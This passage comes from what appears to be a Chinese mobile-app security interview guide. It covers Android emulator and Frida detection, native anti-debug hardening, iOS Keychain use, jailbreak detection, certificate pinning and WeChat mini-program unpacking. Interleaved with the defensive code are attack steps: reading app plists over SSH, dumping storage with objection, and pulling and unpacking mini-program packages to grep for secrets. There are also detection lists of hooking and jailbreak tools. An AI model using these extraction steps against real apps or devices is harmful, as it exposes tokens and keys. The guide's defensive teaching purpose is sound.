|| hardware.contains("vbox"); // VirtualBox
}
/** ③ 设备 ID 特征(模拟器的 IMEI 通常是固定的)*/
private static boolean checkDeviceIds() {
Set<String> KNOWN_EMULATOR_IDS = Set.of(
"000000000000000", // 模拟器默认 IMEI
"012345678912345",
"e21833235b6eef10", // 模拟器默认 DeviceId
"0123456789ABCDEF");
// 需要 READ_PHONE_STATE 权限,Android 10+ 已无法获取,故作为辅助判断
return false; // Android 10+ 拿不到 IMEI,这个方法基本失效
}
/** ④ 传感器检查(模拟器通常传感器很少或没有)*/
private static boolean checkSensors() {
SensorManager sm = (SensorManager) AppContext.get()
.getSystemService(Context.SENSOR_SERVICE);
if (sm == null) return false;
List<Sensor> sensors = sm.getSensorList(Sensor.TYPE_ALL);
// ★ 真机通常有 10+ 个传感器,模拟器往往只有几个
if (sensors.size() < 7) return true;
// ★ 检查特定传感器(模拟器一般没有这些)
boolean hasAccelerometer = false, hasGyroscope = false,
hasLight = false, hasProximity = false;
for (Sensor s : sensors) {
switch (s.getType()) {
case Sensor.TYPE_ACCELEROMETER -> hasAccelerometer = true;
case Sensor.TYPE_GYROSCOPE -> hasGyroscope = true;
case Sensor.TYPE_LIGHT -> hasLight = true;
case Sensor.TYPE_PROXIMITY -> hasProximity = true;
default -> { }
}
}
return !(hasAccelerometer && hasGyroscope && hasLight && hasProximity);
}
/** ⑤ QEMU 相关文件 */
private static boolean checkQemuFiles() {
String[] QEMU_FILES = {
"/system/lib/libc_malloc_debug_qemu.so",
"/sys/qemu_trace",
"/system/bin/qemu-props",
"/dev/socket/qemud",
"/dev/qemu_pipe"
};
for (String f : QEMU_FILES) {
if (new File(f).exists()) return true;
}
return false;
}
/** ⑥ Genymotion 特征 */
private static boolean checkGenymotion() {
String[] GENY_FILES = {
"/dev/socket/genyd",
"/dev/socket/baseband_genyd"
};
for (String f : GENY_FILES) {
if (new File(f).exists()) return true;
}
return false;
}
}
✅ 防御 7:Native 层加固(★ 最高难度)
// security.cpp —— Native 层安全校验(Java 层容易被 Hook,Native 层难度大得多)
#include <jni.h>
#include <string>
#include <android/log.h>
#include <sys/ptrace.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#define LOG_TAG "NativeSecurity"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
extern "C" {
/**
* ① 反调试:ptrace 自己(一个进程只能被 ptrace 一次)
* ★ 这是最经典的反调试手段:
* 自己先 ptrace 自己,调试器就没法再附加了
*/
JNIEXPORT void JNICALL
Java_com_example_app_security_NativeSecurity_antiDebug(JNIEnv *env, jobject thiz) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
// ★ 注意:这个只能防一次,且 Frida 可以绕过
// 但可以配合多线程反复检测
}
/**
* ② 检测 TracerPid(Native 层读,比 Java 层更难 Hook)
*/
JNIEXPORT jboolean JNICALL
Java_com_example_app_security_NativeSecurity_checkTracerPid(JNIEnv *env, jobject thiz) {
char buf[1024];
FILE *fp = fopen("/proc/self/status", "r");
if (fp == nullptr) return JNI_FALSE;
while (fgets(buf, sizeof(buf), fp)) {
if (strncmp(buf, "TracerPid:", 10) == 0) {
fclose(fp);
int pid = atoi(buf + 10);
return (pid != 0) ? JNI_TRUE : JNI_FALSE;
}
}
fclose(fp);
return JNI_FALSE;
}
/**
* ③ 检测 Frida(遍历 maps 找 frida 特征)
*/
JNIEXPORT jboolean JNICALL
Java_com_example_app_security_NativeSecurity_checkFrida(JNIEnv *env, jobject thiz) {
FILE *fp = fopen("/proc/self/maps", "r");
if (fp == nullptr) return JNI_FALSE;
char line[512];
jboolean found = JNI_FALSE;
while (fgets(line, sizeof(line), fp)) {
// ★ 关键词拆开写,防止被 strings 直接扫到
if (strstr(line, "fr") && strstr(line, "ida")) found = JNI_TRUE;
if (strstr(line, "gad") && strstr(line, "get")) found = JNI_TRUE;
if (strstr(line, "agent")) found = JNI_TRUE;
}
fclose(fp);
return found;
}
/**
* ④ 检测 so 是否被注入(检查 maps 里有没有异常的 so)
*/
JNIEXPORT jboolean JNICALL
Java_com_example_app_security_NativeSecurity_checkInjectedSo(JNIEnv *env, jobject thiz) {
FILE *fp = fopen("/proc/self/maps", "r");
if (fp == nullptr) return JNI_FALSE;
char line[512];
int suspicious = 0;
while (fgets(line, sizeof(line), fp)) {
// ★ 正常的 so 都在 /data/app/ 或 /system/lib/ 下
// 异常的可能在 /data/local/tmp/(Frida gadget 常放这里)
if (strstr(line, ".so")) {
if (strstr(line, "/data/local/tmp/")
|| strstr(line, "/data/data/") && !strstr(line, "com.example.app")) {
suspicious++;
}
}
}
fclose(fp);
return (suspicious > 0) ? JNI_TRUE : JNI_FALSE;
}
/**
* ⑤ 完整性校验:检查 classes.dex 的 CRC
* ★ 重打包必然改变 dex,CRC 就对不上
*/
JNIEXPORT jboolean JNICALL
Java_com_example_app_security_NativeSecurity_checkDexCrc(JNIEnv *env, jobject thiz,
jstring apkPath) {
const char *path = env->GetStringUTFChars(apkPath, nullptr);
// 打开 APK(本质是 zip)
FILE *fp = fopen(path, "rb");
if (fp == nullptr) {
env->ReleaseStringUTFChars(apkPath, path);
return JNI_FALSE;
}
// ★ 简化示例:实际应该解析 zip 结构,找到 classes.dex,算 CRC
// 然后和【编译时写死在 so 里的值】比对
// ★ 注意:期望值也要混淆,否则攻击者改掉就行
fclose(fp);
env->ReleaseStringUTFChars(apkPath, path);
return JNI_TRUE;
}
/**
* ⑥ ★ 密钥拆分存储(加大静态分析难度)
* 把密钥拆成多段,分散在不同函数里,运行时拼接后立即清零
*/
JNIEXPORT jstring JNICALL
Java_com_example_app_security_NativeSecurity_getKeyPart1(JNIEnv *env, jobject thiz) {
// ★ 用 char 数组而不是字符串字面量(字符串字面量会被 strings 扫到)
char k[] = {'s', 'e', 'c', 'r', 'e', 't', '_', 'p', '1', '\0'};
jstring result = env->NewStringUTF(k);
// ★ 立即清零(防内存 dump)
memset(k, 0, sizeof(k));
return result;
}
} // extern "C"
# CMakeLists.txt
# ★ 关键:用 O-LLVM 做代码混淆(控制流扁平化、指令替换、虚假控制流)
cmake_minimum_required(VERSION 3.10.2)
add_library(security SHARED security.cpp)
# ★ O-LLVM 混淆(需要单独编译 O-LLVM 工具链)
# set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -mllvm -fla -mllvm -sub -mllvm -bcf")
# -fla 控制流扁平化(Control Flow Flattening)
# -sub 指令替换(Instruction Substitution)
# -bcf 虚假控制流(Bogus Control Flow)
# ★ 效果:IDA 反汇编出来的代码基本看不懂
# ★ 符号隐藏(减少导出的符号,加大分析难度)
set(CMAKE_CXX_VISIBILITY_PRESET hidden)
set(CMAKE_C_VISIBILITY_PRESET hidden)
# ★ 去除符号表
set_target_properties(security PROPERTIES
LINK_FLAGS "-Wl,--strip-all -Wl,--gc-sections")
find_library(log-lib log)
target_link_libraries(security ${log-lib})
4.4.6 加固方案对比与选型
| 方案 | 防护内容 | 成本 | 逆向难度提升 | 推荐度 |
|---|---|---|---|---|
| ProGuard / R8 | 类名/方法名混淆、代码精简 | 免费(自带) | ⭐⭐ | ★★★(必做) |
| 字符串加密 | 加密代码里的字符串常量 | 商业 SDK | ⭐⭐⭐ | ★★★ |
| Dex 加壳 | dex 整体加密,运行时解密 | 商业 SDK(梆梆/360/乐固/爱加密) | ⭐⭐⭐⭐ | ★★ |
| Native 加固 + O-LLVM | 关键逻辑下沉到 so + 控制流混淆 | 自研/商业 | ⭐⭐⭐⭐⭐ | ★★ |
| 反调试 + 反 Hook | 检测调试器、Frida、Xposed | 自研 | ⭐⭐⭐ | ★★ |
| 完整性校验 | 签名、CRC 校验 | 自研 | ⭐⭐ | ★★★ |
| RASP(运行时自保护) | 运行时检测注入、Hook、改内存 | 商业 SDK | ⭐⭐⭐⭐ | ★★ |
| ★ 服务端风控 | 设备指纹、行为分析、风险评分 | 自研 | —(★ 绕过不了) | ★★★★★ |
★ 面试金句(体现认知深度): “客户端加固这件事,投入产出比是递减的: 混淆是免费的,必做; 加壳、O-LLVM 能把逆向难度从’3 小时’提升到’3 天’, 但无论你怎么加固,只要有足够的时间和动机,一定能被破解。
所以正确的策略是两条腿走路:
- 客户端加固的目的是“提高门槛”,挡住 90% 的脚本小子和自动化工具, 让攻击者的成本高到不值得(比如破解一个 App 要 3 天,但收益只有 100 块)。
- 真正的安全在服务端: 设备指纹(识别出异常设备)、 行为风控(识别出批量注册、薅羊毛的模式)、 业务规则校验(余额、次数、频率)、 以及所有校验在服务端重做一遍。
★ 一句话总结: 客户端加固是’让攻击者麻烦‘, 服务端风控是’让攻击者拿不到收益’。 后者才是根本 —— 因为攻击者是逐利的,没有收益他就不来了。“
4.4.7 加固与对抗 Checklist
| # | 检查项 | 优先级 |
|---|---|---|
| 1 | Release 开启 minifyEnabled + shrinkResources |
★★★ |
| 2 | ProGuard 移除所有 Log.d/v/i |
★★★ |
| 3 | 绝不硬编码密钥(用 Keystore 或服务端动态下发) | ★★★ |
| 4 | 接口签名密钥动态下发 + 绑定设备 + 过期轮换 | ★★★ |
| 5 | 完整性校验(签名 + CRC,关键部分放 Native) | ★★ |
| 6 | 反调试检测(TracerPid + Frida 特征 + ptrace) | ★★ |
| 7 | Root / 越狱 / 模拟器 / Hook 框架检测 → 上报风控,本地不自杀 | ★★ |
| 8 | 证书绑定(XML + OkHttp),配备份 pin | ★★★ |
| 9 | 关键逻辑下沉 Native + O-LLVM 混淆 | ★★(金融级) |
| 10 | 商业加固(加壳 + 字符串加密 + RASP) | ★★(视业务敏感度) |
| 11 | ★ 服务端风控(设备指纹 + 行为分析 + 风险评分) | ★★★★★ |
| 12 | ★ 所有客户端校验在服务端重做 | ★★★★★ |
4.5 iOS 安全(钥匙串、越狱、ATS)
4.5.1 iOS 与 Android 的安全模型差异
★ 核心认知(面试必答): iOS 的系统层面比 Android 安全得多(沙箱更严格、应用签名强制、无法侧载), 但应用层的安全问题一个都不少 —— 因为漏洞主要在开发者代码里,不在系统里。
| 维度 | Android | iOS |
|---|---|---|
| 应用安装 | 可侧载(任何来源) | 只能 App Store(企业证书除外) |
| 沙箱 | Linux UID 隔离 + SELinux | 更严格(每个 App 独立目录,无法互访) |
| 本地存储 | SharedPreferences / SQLite / Keystore | UserDefaults / CoreData / SQLite / Keychain |
| 密钥存储 | Android Keystore(硬件支持不一) | Secure Enclave(★ 独立安全芯片,全系支持) |
| 代码签名 | 可自签名 | Apple 签名,无法用假证书重签(企业证书会被吊销) |
| 逆向难度 | 低(dex → Java 几乎还原) | 较高(Mach-O,需要汇编能力) |
| 常见风险 | 组件暴露、allowBackup、WebView | Keychain 配置错误、越狱、URL Scheme、plist 明文 |
4.5.2 iOS 存储安全(★ Keychain 是重点)
四种存储方式对比:
| 方式 | 位置 | 越狱后 | 适合 |
|---|---|---|---|
| UserDefaults | ~/Library/Preferences/*.plist |
✅ 可读(明文 XML) | 非敏感配置 |
| plist 文件 | App 沙箱 | ✅ 可读 | 配置文件 |
| CoreData / SQLite | ~/Documents/*.sqlite |
✅ 可读 | 业务数据 |
| ★ Keychain | 系统钥匙串(加密 + 沙箱) | ⚠️ 可读但内容是加密的 | ★ 密码、Token、证书、密钥 |
漏洞代码(Swift):
// ❌❌❌ 典型漏洞:敏感信息存 UserDefaults
class InsecureStorage {
func saveLoginInfo(token: String, password: String, phone: String) {
UserDefaults.standard.set(token, forKey: "auth_token") // ❌ 明文
UserDefaults.standard.set(password, forKey: "password") // ❌❌❌ 明文密码
UserDefaults.standard.set(phone, forKey: "phone") // ❌ PII
UserDefaults.standard.synchronize()
}
// ❌ 打印敏感信息
func login(user: String, pwd: String) {
print("login: user=\(user) password=\(pwd)") // ❌❌❌
print("token: \(token)") // ❌
}
}
攻击:
# ===== 越狱设备上读取 App 数据 =====
ssh root@设备IP
cd /var/mobile/Containers/Data/Application/<UUID>/
cat Library/Preferences/com.example.app.plist
# ★ 明文看到:
# auth_token = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
# password = MyPass123
# 未越狱设备:用 iTunes 备份 + 工具解包也能读(★ 类似 Android 的 allowBackup)
# 工具:iMazing、iBackup Viewer
# ===== 用 objection 一键 dump(需要越狱)=====
objection -g com.example.app explore
ios nsuserdefaults get
ios keychain dump # ★ Keychain 也能 dump(但内容是加密的)
✅ 修复:用 Keychain 存敏感数据
/**
* ✅✅✅ iOS Keychain 封装(生产可用)
*
* ★ Keychain 的关键:kSecAttrAccessible 属性决定了"什么时候能访问"
*/
import Security
import Foundation
class KeychainManager {
static let shared = KeychainManager()
private init() {}
// MARK: - 可访问性等级(★ 面试重点,必须理解)
/*
★ kSecAttrAccessible 的常用值(安全性从低到高):
① kSecAttrAccessibleAlways
任何时候都能访问(包括设备锁定时)
❌ 最不安全,iOS 12 已废弃
② kSecAttrAccessibleAfterFirstUnlock
设备重启后,用户【解锁过一次】之后就能访问
⚠️ 后台任务需要用它,但安全性一般
③ kSecAttrAccessibleWhenUnlocked ← ★ 最常用
只有设备【解锁状态】下才能访问
✅ 推荐:Token、密码
④ kSecAttrAccessibleWhenUnlockedThisDeviceOnly
同上,【但不参与 iCloud 备份/迁移】
✅✅ 最推荐:换了设备就失效,备份也带不走
⑤ kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
同上,【且设备必须设置了锁屏密码】
✅✅✅ 最高安全:生物识别/密码保护
*/
/// ★ 推荐的可访问性等级
private let defaultAccessible =
kSecAttrAccessibleWhenUnlockedThisDeviceOnly
// MARK: - 保存
func save(_ value: String, for key: String,
accessible: CFString? = nil) -> Bool {
guard let data = value.data(using: .utf8) else { return false }
// 先删除旧的(避免重复)
delete(key)
let query: [String: Any] = [
kSecClass as String: kSecClassGenericPassword,
kSecAttrAccount as String: key,
kSecAttrService as String: Bundle.main.bundleIdentifier ?? "app",
kSecValueData as String: data,
kSecAttrAccessible as String: accessible ?? defaultAccessible,
// ★ iOS 13+ 可以要求生物识别(Face ID / Touch ID)
// kSecAccessControl as String: accessControl
]
let status = SecItemAdd(query as CFDictionary, nil)
if status != errSecSuccess {
print("[SEC] Keychain 保存失败: \(status)")
return false
}
return true
}
// MARK: - 读取
func get(_ key: String) -> String? {
let query: [String: Any] = [
kSecClass as String: kSecClassGenericPassword,
kSecAttrAccount as String: key,
kSecAttrService as String: Bundle.main.bundleIdentifier ?? "app",
kSecReturnData as String: true,
kSecMatchLimit as String: kSecMatchLimitOne
]
var result: AnyObject?
let status = SecItemCopyMatching(query as CFDictionary, &result)
guard status == errSecSuccess,
let data = result as? Data,
let value = String(data: data, encoding: .utf8) else {
return nil
}
return value
}
// MARK: - 删除
@discardableResult
func delete(_ key: String) -> Bool {
let query: [String: Any] = [
kSecClass as String: kSecClassGenericPassword,
kSecAttrAccount as String: key,
kSecAttrService as String: Bundle.main.bundleIdentifier ?? "app"
]
return SecItemDelete(query as CFDictionary) == errSecSuccess
}
// MARK: - ★ 带生物识别保护的 Keychain(金融级)
func saveWithBiometric(_ value: String, for key: String) -> Bool {
// ① 创建访问控制:要求生物识别(Face ID / Touch ID)
var error: Unmanaged<CFError>?
guard let access = SecAccessControlCreateWithFlags(
nil,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly, // ★ 必须设锁屏密码
.biometryCurrentSet, // ★ 生物识别;录入新的指纹/面容后失效
&error) else {
print("[SEC] 创建访问控制失败: \(String(describing: error))")
return false
}
guard let data = value.data(using: .utf8) else { return false }
delete(key)
let query: [String: Any] = [
kSecClass as String: kSecClassGenericPassword,
kSecAttrAccount as String: key,
kSecAttrService as String: Bundle.main.bundleIdentifier ?? "app",
kSecValueData as String: data,
kSecAttrAccessControl as String: access,
// ★ 注意:用了 AccessControl 就不能再用 kSecAttrAccessible
kSecUseOperationPrompt as String: "请验证身份以访问您的凭据"
]
return SecItemAdd(query as CFDictionary, nil) == errSecSuccess
}
}
/**
* ✅ 使用示例
*/
class SecureAuthStorage {
private static let TOKEN_KEY = "auth_token"
private static let REFRESH_KEY = "refresh_token"
static func saveTokens(access: String, refresh: String) {
KeychainManager.shared.save(access, for: TOKEN_KEY)
// ★ refresh token 用最高的安全等级 + 生物识别
KeychainManager.shared.saveWithBiometric(refresh, for: REFRESH_KEY)
}
static func getAccessToken() -> String? {
return KeychainManager.shared.get(TOKEN_KEY)
}
static func clearAll() {
KeychainManager.shared.delete(TOKEN_KEY)
KeychainManager.shared.delete(REFRESH_KEY)
}
// ★★ 绝不存密码!
// 即便是 Keychain 也不存密码明文
// 密码只用于登录时的那一次网络请求,用完立即从内存清除
}
4.5.3 iOS 越狱检测
/**
* ✅ 越狱检测(Swift)
*/
class JailbreakChecker {
static func isJailbroken() -> Bool {
return checkSuspiciousFiles()
|| checkCydiaScheme()
|| canOpenSystemFiles()
|| checkSuspiciousDylibs()
|| checkFork()
|| checkSymbolicLinks()
}
/// ① 检查越狱相关文件
private static func checkSuspiciousFiles() -> Bool {
let paths = [
"/Applications/Cydia.app",
"/Applications/blackra1n.app",
"/Applications/FakeCarrier.app",
"/Applications/Icy.app",
"/Applications/IntelliScreen.app",
"/Applications/MxTube.app",
"/Applications/RockApp.app",
"/Applications/SBSettings.app",
"/Applications/WinterBoard.app",
"/bin/bash",
"/bin/sh",
"/etc/apt",
"/etc/ssh/sshd_config",
"/Library/MobileSubstrate/MobileSubstrate.dylib",
"/Library/MobileSubstrate/DynamicLibraries/LiveClock.plist",
"/Library/MobileSubstrate/DynamicLibraries/Veency.plist",
"/private/var/lib/apt",
"/private/var/lib/cydia",
"/private/var/mobile/Library/SBSettings/Themes",
"/private/var/stash",
"/private/var/tmp/cydia.log",
"/System/Library/LaunchDaemons/com.ikey.bbot.plist",
"/System/Library/LaunchDaemons/com.saurik.Cydia.Startup.plist",
"/usr/bin/cycript",
"/usr/bin/sshd",
"/usr/libexec/sftp-server",
"/usr/libexec/ssh-keysign",
"/usr/sbin/sshd",
"/var/cache/apt",
"/var/lib/cydia",
"/var/log/syslog"
]
for path in paths {
if FileManager.default.fileExists(atPath: path) {
return true
}
}
return false
}
/// ② 检查能否打开 Cydia 的 URL Scheme
private static func checkCydiaScheme() -> Bool {
if let url = URL(string: "cydia://package/com.example.package") {
return UIApplication.shared.canOpenURL(url)
}
return false
}
/// ③ 检查能否访问沙箱外的文件(★ 最可靠的方法之一)
private static func canOpenSystemFiles() -> Bool {
// ★ 未越狱的 App 无法在 /private 下创建文件
let testPath = "/private/jailbreak_test.txt"
do {
try "test".write(toFile: testPath, atomically: true,
encoding: .utf8)
try FileManager.default.removeItem(atPath: testPath)
return true // 能写 = 越狱了
} catch {
return false
}
}
/// ④ 检查是否被注入了动态库(越狱后 MobileSubstrate 会注入)
private static func checkSuspiciousDylibs() -> Bool {
let suspicious = [
"MobileSubstrate",
"cycript",
"SubstrateLoader",
"FridaGadget",
"libcycript",
"cynject"
]
// 遍历已加载的动态库
for i in 0..<_dyld_image_count() {
if let name = _dyld_get_image_name(i) {
let imageName = String(cString: name)
for s in suspicious {
if imageName.lowercased().contains(s.lowercased()) {
return true
}
}
}
}
return false
}
/// ⑤ 检查 fork(未越狱的 iOS 不允许 fork)
private static func checkFork() -> Bool {
let pid = fork()
if pid >= 0 {
if pid > 0 {
kill(pid, SIGTERM) // 杀掉子进程
}
return true // fork 成功 = 越狱了
}
return false
}
/// ⑥ 检查系统目录是否被改成符号链接(越狱常见)
private static func checkSymbolicLinks() -> Bool {
let paths = [
"/Applications", "/Library/Ringtones", "/Library/Wallpaper",
"/usr/arm-apple-darwin9", "/usr/include", "/usr/libexec",
"/usr/share", "/var/stash"
]
for path in paths {
do {
let attrs = try FileManager.default
.attributesOfItem(atPath: path)
if let type = attrs[.type] as? FileAttributeType,
type == .typeSymbolicLink {
return true
}
} catch {
// 文件不存在,继续
}
}
return false
}
}
/**
* ★★ 和 Android 一样的设计决策:
* 检测到越狱 → 【上报风控】,而不是本地"自杀"
*/
extension JailbreakChecker {
static func reportToRiskEngine() {
let jailbroken = isJailbroken()
RiskClient.shared.report(event: "DEVICE_JAILBREAK_STATUS", params: [
"jailbroken": jailbroken,
"cydia": checkCydiaScheme(),
"dylibs": checkSuspiciousDylibs(),
"model": UIDevice.current.model,
"system_version": UIDevice.current.systemVersion,
"is_simulator": isSimulator()
])
// ★ 服务端根据风险等级决策,客户端不改行为(避免误伤 + 避免被 Hook 绕过)
}
private static func isSimulator() -> Bool {
#if targetEnvironment(simulator)
return true
#else
return false
#endif
}
}
4.5.4 iOS 传输安全(ATS 与证书绑定)
ATS(App Transport Security):
<!-- ❌ 危险:全局关闭 ATS(允许任意 HTTP 连接) -->
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true/> <!-- ❌❌❌ 相当于放弃了传输安全 -->
</dict>
<!-- ✅ 正确:ATS 默认开启,只为特定域名配置例外(且理由充分) -->
<key>NSAppTransportSecurity</key>
<dict>
<!-- ① 全局保持默认(强制 HTTPS + TLS 1.2+ + 前向保密) -->
<!-- ② 只为特定域名例外(比如第三方 SDK 的 HTTP 域名) -->
<key>NSExceptionDomains</key>
<dict>
<key>cdn.thirdparty.com</key>
<dict>
<!-- ⚠️ 尽量不用 ArbitraryLoads,而用更精确的例外 -->
<key>NSExceptionAllowsInsecureHTTPLoads</key>
<true/>
<key>NSIncludesSubdomains</key>
<false/> <!-- ★ 只在必要时开子域 -->
<key>NSExceptionMinimumTLSVersion</key>
<string>TLSv1.2</string> <!-- ★ 即便例外,也要求最低 TLS 1.2 -->
</dict>
</dict>
</dict>
证书绑定(URLSession):
/**
* ✅✅✅ iOS 证书绑定(Certificate Pinning)
*/
class PinnedSessionDelegate: NSObject, URLSessionDelegate {
/// ★ 允许的 SPKI 哈希(从证书算出来的 base64)
private let pinnedHashes: [String: Set<String>] = [
"api.example.com": [
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", // 主证书
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=" // ★ 备份证书(必须!)
],
"pay.example.com": [
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC="
]
]
/**
* ★ 处理证书认证挑战
*/
func urlSession(_ session: URLSession,
didReceive challenge: URLAuthenticationChallenge,
completionHandler: @escaping (URLSession.AuthChallengeDisposition,
URLCredential?) -> Void) {
// ① 只处理服务器信任挑战
guard challenge.protectionSpace.authenticationMethod
== NSURLAuthenticationMethodServerTrust,
let serverTrust = challenge.protectionSpace.serverTrust else {
// 其他类型的挑战,用默认处理
completionHandler(.performDefaultHandling, nil)
return
}
// ② 基本校验:证书链是否可信
var error: CFError?
let isValid = SecTrustEvaluateWithError(serverTrust, &error)
guard isValid else {
print("[SEC] 证书链验证失败: \(String(describing: error))")
completionHandler(.cancelAuthenticationChallenge, nil)
return
}
// ③ ★ 证书绑定:比对公钥哈希
let host = challenge.protectionSpace.host
guard let trustedHashes = pinnedHashes[host] else {
// 该 host 没配 pin → 只做标准验证
completionHandler(.performDefaultHandling, nil)
return
}
// ④ 遍历证书链,找匹配的哈希
for index in 0..<SecTrustGetCertificateCount(serverTrust) {
guard let cert = SecTrustGetCertificateAtIndex(serverTrust, index),
let publicKey = SecCertificateCopyKey(cert),
let publicKeyData = SecKeyCopyExternalRepresentation(publicKey, nil) else {
continue
}
// 算 SHA-256 哈希
let hash = sha256(data: publicKeyData as Data)
let hashBase64 = Data(hash).base64EncodedString()
if trustedHashes.contains(hashBase64) {
print("[SEC] 证书绑定验证通过 host=\(host)")
completionHandler(.useCredential,
URLCredential(trust: serverTrust))
return
}
}
// ⑤ ★ 没有任何一个匹配 → 拒绝(可能是中间人攻击)
print("[SEC] ❌ 证书绑定验证失败 host=\(host),拒绝连接")
SecurityLogger.shared.report("CERT_PINNING_FAILED", host: host)
completionHandler(.cancelAuthenticationChallenge, nil)
}
private func sha256(data: Data) -> [UInt8] {
var hash = [UInt8](repeating: 0, count: Int(CC_SHA256_DIGEST_LENGTH))
data.withUnsafeBytes {
_ = CC_SHA256($0.baseAddress, CC_LONG(data.count), &hash)
}
return hash
}
}
/**
* 使用
*/
let config = URLSessionConfiguration.default
let session = URLSession(configuration: config,
delegate: PinnedSessionDelegate(),
delegateQueue: nil)
4.5.5 iOS 其他要点
| 要点 | 说明 | 做法 |
|---|---|---|
| URL Scheme 劫持 | 自定义 scheme(myapp://)可被其他 App 抢注 |
用 Universal Links(https + apple-app-site-association) |
| 剪贴板泄露 | iOS 16+ 粘贴时会弹窗询问(系统已修);但 App 后台仍能读剪贴板 | 敏感页面禁用复制,或设置 UIPasteboard 过期时间 |
| 截图泄露 | 后台切换时系统会截图存在磁盘 | 敏感页面加遮罩(applicationDidEnterBackground 时盖一层) |
| 键盘缓存 | UITextField 默认会缓存输入到键盘词典 |
敏感输入 autocorrectionType = .no + isSecureTextEntry = true |
| 日志泄露 | print() 在生产仍会输出到系统日志(可被 logcat/Console 抓) |
用封装的 SecureLog,Release 关闭 |
| 越狱后的 Keychain | 越狱后 Keychain 可读,但内容仍是加密的 | 敏感数据用 ThisDeviceOnly + 生物识别保护 |
/**
* ✅ 敏感页面的截图防护
*/
class SecureViewController: UIViewController {
private var blurView: UIVisualEffectView?
override func viewWillAppear(_ animated: Bool) {
super.viewWillAppear(animated)
setupScreenshotProtection()
}
private func setupScreenshotProtection() {
NotificationCenter.default.addObserver(
self,
selector: #selector(appDidEnterBackground),
name: UIApplication.didEnterBackgroundNotification,
object: nil)
NotificationCenter.default.addObserver(
self,
selector: #selector(appWillEnterForeground),
name: UIApplication.willEnterForegroundNotification,
object: nil)
// ★ iOS 13+ 可以检测截屏
NotificationCenter.default.addObserver(
self,
selector: #selector(userDidTakeScreenshot),
name: UIApplication.userDidTakeScreenshotNotification,
object: nil)
}
/// 进入后台时盖一层模糊(★ 防止系统截图泄露内容)
@objc private func appDidEnterBackground() {
let blur = UIVisualEffectView(effect: UIBlurEffect(style: .light))
blur.frame = view.bounds
blur.tag = 999
view.addSubview(blur)
self.blurView = blur
}
@objc private func appWillEnterForeground() {
view.viewWithTag(999)?.removeFromSuperview()
blurView = nil
}
/// 用户截屏 → 记录 + 提示
@objc private func userDidTakeScreenshot() {
SecurityLogger.shared.report("SCREENSHOT_TAKEN",
page: String(describing: type(of: self)))
// ★ 敏感页面可以提示"该页面不支持截屏"
}
}
4.6 小程序安全(微信 / 支付宝 / 抖音)
4.6.1 小程序的“特殊性”(★ 和原生 App 都不一样)
★ 核心认知: 小程序的代码不在用户设备上(存在平台服务器,每次启动下载), 所以攻击者改不了代码 —— 这比原生 App 安全。
但小程序的逻辑跑在本地,而且数据包可以被解包, 所以代码逻辑、接口地址、AppSecret(如果硬编码)都能被看到。
| 维度 | 原生 App | 小程序 |
|---|---|---|
| 代码位置 | 用户设备(可反编译) | 平台服务器(用户下载的是打包文件,可解包看源码) |
| 能改代码吗 | 能(重打包) | ❌ 不能(改了本地也没用,因为每次从平台拉) |
| 能抓包吗 | 能 | 能(而且更简单,走手机代理即可) |
| 能看源码吗 | 需要反编译(Java 层容易,so 难) | ✅ 很容易(解包就是 JS,几乎原样) |
| 主要风险 | 逆向、Hook、改内存 | ★ 源码泄露(硬编码密钥)、云函数/接口越权、登录态 |
4.6.2 漏洞 1:小程序解包导致源码泄露(★ 最常见)
解包流程(以微信小程序为例,10 分钟搞定):
# ===== ① 找到小程序的包文件 =====
# Android(微信):/data/data/com.tencent.mm/MicroMsg/<用户hash>/appbrand/pkg/
# 文件名类似:_1123949441_xxx.wxapkg
# 需要 Root 或者用虚拟机/备份导出
adb pull /data/data/com.tencent.mm/MicroMsg/xxxx/appbrand/pkg/ ./wxpkgs/
ls ./wxpkgs/
# _1123949441_45.wxapkg
# _1123949441_46.wxapkg
# ===== ② 解包(工具很多)=====
# 工具 1:wxappUnpacker(Node.js)
git clone https://github.com/xuedingmiaojun/wxappUnpacker
cd wxappUnpacker && npm install
node wuWxapkg.js ../wxpkgs/_1123949441_45.wxapkg
# 工具 2:unwxapkg.py(Python)
python unwxapkg.py _1123949441_45.wxapkg
# 工具 3:KillWxapkg(GUI 工具,★ 新手推荐)
# ===== ③ 解包后得到(★ 几乎就是原始源码)=====
ls -R ./_1123949441_45/
# app.js 主逻辑
# app.json 配置(★ 包含所有页面路径)
# app.wxss 样式
# pages/
# index/index.js
# index/index.wxml
# utils/
# api.js ★★ 接口地址全在这
# crypto.js ★★ 加解密逻辑和密钥
# request.js ★★ 签名算法
# ===== ④ 搜敏感信息 =====
grep -rE "appid|secret|key|token|https?://" ./_1123949441_45/ --include="*.js"
★ 解包后经常能拿到的致命信息:
// ❌❌❌ utils/config.js —— 硬编码的密钥和接口(解包 100% 能看到)
module.exports = {
// ❌ AppSecret 泄露(★ 最致命,可以伪造小程序身份调微信接口)
appId: 'wx1234567890abcdef',
appSecret: 'a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6',
// ❌ 接口签名密钥
apiSecret: 'my_api_secret_2024',
// ❌ 第三方服务密钥
mapKey: 'AIzaSyD-xxxxx',
ossAccessKey: 'LTAI5txxxxx',
ossSecretKey: 'xxxxxxxx',
// 接口地址
baseURL: 'https://api.example.com/v1'
}
// ❌❌❌ utils/crypto.js —— 加解密密钥
const CryptoJS = require('crypto-js')
const AES_KEY = '1234567890123456' // ❌ 硬编码 AES 密钥
const AES_IV = '6543210987654321'
// ❌❌❌ utils/request.js —— 签名算法全暴露
function sign(params) {
const sorted = Object.keys(params).sort()
let str = ''
sorted.forEach(k => str += k + '=' + params[k] + '&')
str += 'key=' + config.apiSecret // ★ 密钥在上面
return md5(str).toUpperCase()
}
★ AppSecret 泄露的危害(比想象中严重得多):
拿到小程序的 AppID + AppSecret 之后,攻击者可以:
